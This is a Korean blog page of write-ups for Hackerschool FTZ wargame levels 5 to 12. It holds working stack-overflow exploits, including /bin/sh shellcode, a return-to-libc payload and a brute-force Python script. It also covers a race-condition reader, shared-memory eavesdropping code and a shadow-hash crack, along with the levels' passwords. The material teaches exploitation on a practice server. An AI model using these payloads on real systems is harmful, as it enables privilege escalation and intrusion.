'Wargame/FTZ'에 해당하는 글 12건

Category : System hacking

ssh://ftz.hackerschool.org
id : level12
pw : it is like this

Summary : buffer overflow on redhat 6.2


서버에 접속하여 문제 파일을 확인한다.

[level12@ftz level12]$ ls -l
합계 28
-rwsr-x---    1 level13  level12     13771  3월  8  2003 attackme
-rw-r-----    1 root     level12       204  3월  8  2003 hint
drwxr-xr-x    2 root     level12      4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level12      4096  7월 21 05:15 tmp
[level12@ftz level12]$ cat hint


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int main( void )
{
 char str[256];

  setreuid( 3093, 3093 );
 printf( "문장을 입력하세요.\n" );
 gets( str );
 printf( "%s\n", str );


hint 파일에는 attackme 라는 프로그램의 source가 있다.
source를 보게되면 gets함수로 인해 buffer overflow 취약점이 발생함을 할 수 있다.. level13 user의 프로그램인 attackme에는 setuid가 걸려있으므로 overflow취약점을 이용하여 level13 user의 쉘을 획득할 수 있다.

이번에는 공유라이브러리의 system함수의 주소를 return address에 덮어주고 , 인자로 공유라이브러리내에 있는 "/bin/sh"라는 문자열의 주소를 넣어주어 공격할 것이다.
우선 ,  필요한 정보들을 수집한다.

0x08048473 <main+3>: sub    $0x108,%esp

지역변수의 크기는 264byte이므로 return address를 덮기위해선 sfp 포함 268byte를 채워주어야한다.

(gdb) p system
$1 = {<text variable, no debug info>} 0x4005f430 <system>

공유라이브러리에서 "/bin/sh"라는 문자열을 찾아주는 간단한 프로그램을 작성해 실행한다.

[level12@ftz .pwn3r]$ cat whereisit.c
#include <stdio.h>

int main()
{
 long addr = 0x4005f430;
 while(memcmp((void *)addr , "/bin/sh" , 7)) addr++;
 printf("0x%x\n" , addr);
}
[level12@ftz .pwn3r]$ gcc -o whereisit whereisit.c
[level12@ftz .pwn3r]$ ./whereisit
0x4014ad24


필요한 정보를 모두 얻었으므로 공격한다.

[level12@ftz .pwn3r]$ (python -c 'print "a"*268 + "\x30\xf4\x05\x40" + "bbbb" + "\x24\xad\x14\x40"';cat) | ~/attackme
문장을 입력하세요.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0?bbbb$?@
       
id
uid=3093(level13) gid=3092(level12) groups=3092(level12)
my-pass

Level13 Password is "have no clue".


level13 user의 쉘을 획득하고 password를 얻었다.

'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level12  (0) 2011.07.28
Hackerschool FTZ level11  (0) 2011.07.19
Hackerschool FTZ level10  (2) 2011.07.17
Hackerschool FTZ level9  (0) 2011.07.17
Hackerschool FTZ level8  (0) 2011.07.17
Hackerschool FTZ level7  (0) 2011.07.17

WRITTEN BY
pwn3r
45

트랙백  87 , 댓글  0개가 달렸습니다.
secret
Category : System hacking

ssh://ftz.hackerschool.org
id : level11
pw : what!@#$?

Summary : buffer overflow on redhat 6.2



서버에 접속하여 문제 파일을 확인한다.

[level11@ftz level11]$ ls -l
합계 28
-rwsr-x---    1 level12  level11     13733  3월  8  2003 attackme
-rw-r-----    1 root     level11       168  3월  8  2003 hint
drwxr-xr-x    2 root     level11      4096  2월 24  2002 public_html
drwxrwxr-x    4 root     level11      4096  7월 12 13:18 tmp
[level11@ftz level11]$ cat hint

#include <stdio.h>
#include <stdlib.h>
 
int main( int argc, char *argv[] )
{
 char str[256];

 setreuid( 3092, 3092 );
 strcpy( str, argv[1] );
 printf( str );
}

 


attackme 라는 setuid가 걸린 level12 user의 프로그램과 hint가 있는데 , hint에는 attackme 프로그램의 source가 나와있다.
source를 보게되면 strcpy함수로 인해 발생하는 overflow 취약점과 format string bug 취약점이 있음을 볼 수 있다.

overflow 취약점을 이용한 풀이를 할것이다.
stack에 실행 권한이 있으므로 shellcode를 이용한 공격을 할 것 이다.
지역변수는 str배열 하나만 선언되었기 때문에 , 지역변수의 크기만 알면 쉽게 공격할 수 있다.

0x08048473 <main+3>:sub    $0x108,%esp

지역변수는 총 264바이트가 선언되었으므로 sfp포함 268바이트를 덮어주고 return address에 nop + shellcode 의 주소를 넣어준다. shellcode는 지역변수공간에 넣어준다.

이제 shellcode가 위치한 주소를 찾아주어야 하는데, 디버깅을 하면 매우 쉽게 찾을 수 있지만 , 이번에는 python script를 작성하여 return address를 브루트포싱해 공격해본다.

[level11@ftz .pwn3r]$ vi exploit.py
[level11@ftz .pwn3r]$ cat exploit.py
#!/usr/bin/python

import os

TARGET = "/home/level11/attackme"
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

print "[!] Exploit started!"

for i in range(0xff , 0x00 , -1):
 for j in range(0x01 , 0x100 , 200):
  payload = ""
  payload += "\x90" * 200
  payload += SHELLCODE
  payload += "\x90" * (68 - len(SHELLCODE))
  payload += chr(j) + chr(i) + "\xff\xbf"
  pid = os.fork()

  if pid == 0:
   os.execv(TARGET , ("pwn3r" , payload))
  else:
   os.waitpid(pid , 0)
[level11@ftz .pwn3r]$ ./exploit.py
[!] Exploit started!
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is "it is like this".


level12 user의 쉘을 획득하고 password를 얻었다.

'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level12  (0) 2011.07.28
Hackerschool FTZ level11  (0) 2011.07.19
Hackerschool FTZ level10  (2) 2011.07.17
Hackerschool FTZ level9  (0) 2011.07.17
Hackerschool FTZ level8  (0) 2011.07.17
Hackerschool FTZ level7  (0) 2011.07.17

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret
Category : System hacking

ssh://ftz.hackerschool.org
id : level10
pw : interesting to hack!

Summary : Tap chatting based on shared memory



서버에 접속하여 문제 파일을 확인한다.

[level10@ftz level10]$ ls -l
합계 16
-rw-r-----    1 root     level10       253  1월 14  2010 hint
drwxr-x---    2 root     root         4096  3월 29  2003 program
drwxr-xr-x    2 root     level10      4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level10      4096  7월 12 02:40 tmp
[level10@ftz level10]$ cat hint


두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.
그 대화방은 공유 메모리를 이용하여 만들어졌으며,
key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여
level11의 권한을 얻어라.

- 레벨을 완료하셨다면 소스는 지우고 나가주세요.


공유메모리 기반의 채팅을 도청하는 것이 문제의 목적이다.
공유메모리의 정보를 확인한 후 , C로 공유메모리의 데이터를 얻어오는 프로그램을 작성해 실행한다.

[level10@ftz tmp]$ ipcs

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status     
0x00001d6a 0          root      666        1028       0                      
0x46532e4f 65538      trainer10 777        5          1                      

------ Semaphore Arrays --------
key        semid      owner      perms      nsems    

------ Message Queues --------
key        msqid      owner      perms      used-bytes   messages   

[level10@ftz tmp]$ vi tapper.c
[level10@ftz tmp]$ cat tapper.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/shm.h>

int main()
{
 long addr;
 key_t key = 7530;
 int shmid;
 
 shmid = shmget(key , 1028 , IPC_CREAT);
 addr = shmat(shmid , 0 , SHM_RDONLY);
 printf("%s" , addr);
}
[level10@ftz tmp]$ gcc -o tapper tapper.c
tapper.c: In function `main':
tapper.c:12: warning: assignment makes integer from pointer without a cast
[level10@ftz tmp]$ ./tapper
멍멍: level11의 패스워드는?
구타: what!@#$?


level10 user의 password를 얻었다.









'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level12  (0) 2011.07.28
Hackerschool FTZ level11  (0) 2011.07.19
Hackerschool FTZ level10  (2) 2011.07.17
Hackerschool FTZ level9  (0) 2011.07.17
Hackerschool FTZ level8  (0) 2011.07.17
Hackerschool FTZ level7  (0) 2011.07.17

WRITTEN BY
pwn3r
45

트랙백  66 , 댓글  2개가 달렸습니다.
  1. 이번단계는 정말 이해가 안되는군여..

    http://blog.naver.com/austinkwon/115431674
secret
Category : System hacking

ssh://ftz.hackerschool.org
id : level9
pw : apple

Summary : overflow , overwrite another variable


서버에 접속하여 문제 파일을 확인한다.

[level9@ftz level9]$ ls -l
합계 12
-rw-r--r--    1 root     root          391 11월 13  2002 hint
drwxr-xr-x    2 root     level9       4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level9       4096  7월 10 02:40 tmp
[level9@ftz level9]$ cat hint


다음은 /usr/bin/bof의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
main(){
 
  char buf2[10];
  char buf[10];
 
  printf("It can be overflow : ");
  fgets(buf,40,stdin);
 
  if ( strncmp(buf2, "go", 2) == 0 )
   {
        printf("Good Skill!\n");
        setreuid( 3010, 3010 );
        system("/bin/bash");
   }
 
}  

이를 이용하여 level10의 권한을 얻어라.

 


할당된 buf의 크기를 초과하여 입력받기 때문에 overflow 취약점이 존재한다.
이로 인해 buf2배열을 마음대로 조작할 수 있다.
그런데 buf2의 첫 2글자가 "go"라면 level10 user의 쉘을 실행해주기 때문에 overflow취약점을 이용해 buf2의 첫 2글자를 조작해주어야한다.

지역변수 공간의 크기와 변수간의 offset만 알아도 공격에 성공할 수 있다.

..................
0x08048503 <main+3>: sub    $0x28,%esp
..................
0x08048530 <main+48>: push   $0x2
0x08048532 <main+50>: push   $0x80485fe
0x08048537 <main+55>: lea    0xffffffe8(%ebp),%eax
0x0804853a <main+58>: push   %eax
0x0804853b <main+59>: call   0x80483bc <strncmp>
..................

buf는 ebp-40부터 시작하며 , buf2는ebp-24부터시작한다.
그러므로 아무문자로 16byte를 채워주고 "go"라는 문자열을 입력하면 buf2에 "go"가 입력되어 level10 user의 쉘을 획득할 수 있다.

[level9@ftz level9]$ (python -c 'print "a"*16 + "go"';cat) | bof
It can be overflow : Good Skill!
id
uid=3010(level10) gid=3009(level9) groups=3009(level9)
my-pass

Level10 Password is "interesting to hack!".


level10 user의 쉘을 획득하고 password를 얻었다.

'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level11  (0) 2011.07.19
Hackerschool FTZ level10  (2) 2011.07.17
Hackerschool FTZ level9  (0) 2011.07.17
Hackerschool FTZ level8  (0) 2011.07.17
Hackerschool FTZ level7  (0) 2011.07.17
Hackerschool FTZ level6  (0) 2011.07.17

WRITTEN BY
pwn3r
45

트랙백  68 , 댓글  0개가 달렸습니다.
secret
Category : System hacking

ssh://ftz.hackerschool.org
id : level8
pw : break the world

Summary : shadow file crack



서버에 접속하여 문제 파일을 확인한다.

[level8@ftz level8]$ ls -l
합계 12
-rw-r-----    1 root     level8        109  8월 30  2009 hint
drwxr-xr-x    2 root     level8       4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level8       4096  7월  9 10:38 tmp
[level8@ftz level8]$ cat hint


level9의 shadow 파일이 서버 어딘가에 숨어있다.
그 파일에 대해 알려진 것은 용량이 "2700"이라는 것 뿐이다.

 


서버내에 level9의 shadow 파일이 숨겨져있으므로 파일을 찾아 level9 password 의 hash를 크랙하면 level9 user의 password를 얻을 수 있다.
하지만 용량이 2700이라는 단서밖에 없으므로 find 의 size 옵션을 이용해 검색해본다.

[level8@ftz level8]$ find / -size 2700c 2> /dev/null
/var/www/manual/ssl/ssl_intro_fig2.gif
/etc/rc.d/found.txt
^C

2개는 금방 나왔지만 오랫동안 검색이 끝나지 않아 그냥 종료시키고 진행했다.
2개의 파일을 열어보니 /etc/rc.d/found.txt가 level9의 shadow파일이라는 것을 알 수 있었다.

[level8@ftz level8]$ cat /etc/rc.d/found.txt
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524

level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524


shadow 파일을 John the ripper를 이용해 크랙할 수 있다.

C:\john1701\run>john-386.exe shadow.txt
Loaded 1 password hash (FreeBSD MD5 [32/32])
apple            (level9)
guesses: 1  time: 0:00:00:00 100% (2)  c/s: 4698  trying: apple

level9 user의 password를 얻었다.

'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level10  (2) 2011.07.17
Hackerschool FTZ level9  (0) 2011.07.17
Hackerschool FTZ level8  (0) 2011.07.17
Hackerschool FTZ level7  (0) 2011.07.17
Hackerschool FTZ level6  (0) 2011.07.17
Hackerschool FTZ level5  (1) 2011.07.17

WRITTEN BY
pwn3r
45

트랙백  0 , 댓글  0개가 달렸습니다.
secret
Category : trivial

ssh://ftz.hackerschool.org
id : level7
pw : come together

Summary : trivial , bin ascii

서버에 접속하여 문제 파일을 확인한다.

[level7@ftz level7]$ ls -l
합계 12
-rw-r--r--    1 root     root          185 11월 23  2000 hint
drwxr-xr-x    2 root     level7       4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level7       4096  7월  8 03:58 tmp
[level7@ftz level7]$ cat hint


/bin/level7 명령을 실행하면, 패스워드 입력을 요청한다.

1. 패스워드는 가까운곳에..
2. 상상력을 총동원하라.
3. 2진수를 10진수를 바꿀 수 있는가?
4. 계산기 설정을 공학용으로 바꾸어라.


힌트로 보아하니 trivial 2진수와 ascii를 이용한 트리비얼 문제같다,
우선 /bin/level7을 실행해보니 password를 입력받는다. password에 아무 값이나 입력하자 이상한 문자열을 출력하고 종료된다.

[level7@ftz level7]$ level7
Insert The Password : pwn3r
올바르지 않은 패스워드 입니다.
    패스워드는 가까운곳에...
--_--_- --____- ---_-__ --__-_-

패스워드가 틀렸다며 패스워드는 가까운 곳에 있다는 문장을 출력해준뒤 , "-"와 "_"으로 구성된 문자열을 출력해주고 종료된다.

hint에서 봤던 내용으로 미루어보아 저 이상한 문자열에서 "-"은 1 , "_"은 0 로 치환하고 space(" ")로 구분하여 각각의 숫자덩어리들을 2진 ascii로 생각해 문자로 바꾼 것이 /bin/level7이 요하는 password일것이다.
(비슷한 문제를 풀었기때문에 바로 추측이 가능했다.)

이를 python script로 작성해 실행한다.

[level7@ftz tmp]$ cat pwn.py
#!/usr/bin/python

string = "--_--_- --____- ---_-__ --__-_-"
result = ""

string = string.replace("-" , "1")
string = string.replace("_" , "0")

string = string.split(" ")

for i in string:
 result += chr(int(i , 2))

print "Result : " + result
[level7@ftz tmp]$ ./pwn.py
Result : mate
[level7@ftz tmp]$ level7
Insert The Password : mate

Congratulation! next password is "break the world".


"mate"가 /bin/level7이 요하는 password였고 , 이를 넘겨줌으로써 level8 user의 password를 얻었다.









'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level9  (0) 2011.07.17
Hackerschool FTZ level8  (0) 2011.07.17
Hackerschool FTZ level7  (0) 2011.07.17
Hackerschool FTZ level6  (0) 2011.07.17
Hackerschool FTZ level5  (1) 2011.07.17
Hackerschool FTZ level4  (0) 2011.07.17

WRITTEN BY
pwn3r
45

트랙백  75 , 댓글  0개가 달렸습니다.
secret
Category : System hacking

ssh://ftz.hackerschool.org
id : level6
pw : what the hell

Summary : ctrl + c , SIGINT

 
서버에 접속하여 문제를 확인한다.



hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.

 


접속하자 bash가 실행되지 않고 위와 같은 문구만 나온다. bbs를 사용할적에 컴퓨터를 다룬적이 없기때문에 이해가 되지 않는다.
ctrl + c 를 눌러 SIGINT signal을 보내 process를 종료시켰다.
종료되자 bash 프롬프트가 나타났다. 현재 디렉토리에있는 파일을 확인하니 password라는 파일이 있었다.

^C
[level6@ftz level6]$ ls -l
합계 32
-rw-r--r--    1 root     root           72 11월 23  2000 hint
-rw-r-----    1 root     level6         36  3월 24  2000 password
drwxr-xr-x    2 root     level6       4096  5월 16  2005 public_html
drwxrwxr-x    2 root     level6       4096  6월 25 21:50 tmp
-rwxr-x---    1 root     level6      14910  3월  5  2003 tn
[level6@ftz level6]$ cat password
Level7 password is "come together".

level7 user의 password를 얻었다.

'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level8  (0) 2011.07.17
Hackerschool FTZ level7  (0) 2011.07.17
Hackerschool FTZ level6  (0) 2011.07.17
Hackerschool FTZ level5  (1) 2011.07.17
Hackerschool FTZ level4  (0) 2011.07.17
Hackerschool FTZ level3  (0) 2011.07.17

WRITTEN BY
pwn3r
45

트랙백  68 , 댓글  0개가 달렸습니다.
secret
Category : System hacking

ssh://ftz.hackerschool.org
id : level5
pw : what is your name?

Summary : race condition


서버에 접속하여 문제 파일을 확인한다.

[level5@ftz level5]$ ls -l
합계 12
-rw-r--r--    1 root     root          129  3월 23  2000 hint
drwxr-xr-x    2 root     level5       4096  2월 24  2002 public_html
drwxrwx---    3 root     level5       4096  7월 12 12:32 tmp
[level5@ftz level5]$ cat hint

/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.

이를 이용하여 level6의 권한을 얻어라.

 


level5.tmp의 내용을 읽어보기위해 /usr/bin/level5를 실행하고 /tmp/ 디렉토리의 파일들을 확인해보니 level5.tmp는 없다.
/usr/bin/level5가 level5.tmp를 생성한 후 바로 지운다고 생각할 수 있다.
하지만 생성하고 지우는데에는 어느 정도의 시간이 있기때문에 race condition을 이용한 공격을 할 수 있다.
/usr/bin/level5를 무한정하게 실행하는 프로그램과 /tmp/level5.tmp를 무한정하게 읽는 프로그램을 작성해 두개다 실행해본다.

[level5@ftz .pwn3r]$ cat exec.c
#include <stdio.h>

int main()
{
 while(1) system("/usr/bin/level5");
}

[level5@ftz .pwn3r]$ cat read.c
#include <stdio.h>

int main()
{
 while(1) system("cat /tmp/level5.tmp 2> /dev/null");


[level5@ftz .pwn3r]$ ./exec & ./read
[1] 32500

next password : what the hell


level6 user의 password를 얻었다.

'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level7  (0) 2011.07.17
Hackerschool FTZ level6  (0) 2011.07.17
Hackerschool FTZ level5  (1) 2011.07.17
Hackerschool FTZ level4  (0) 2011.07.17
Hackerschool FTZ level3  (0) 2011.07.17
Hackerschool FTZ level2  (0) 2011.07.17

WRITTEN BY
pwn3r
45

트랙백  99 , 댓글  1개가 달렸습니다.
  1. 어....이것도 돼는거 같네요..
    cd /tmp/
    is
    cat level5.tmp
    있어요...ㅋ
secret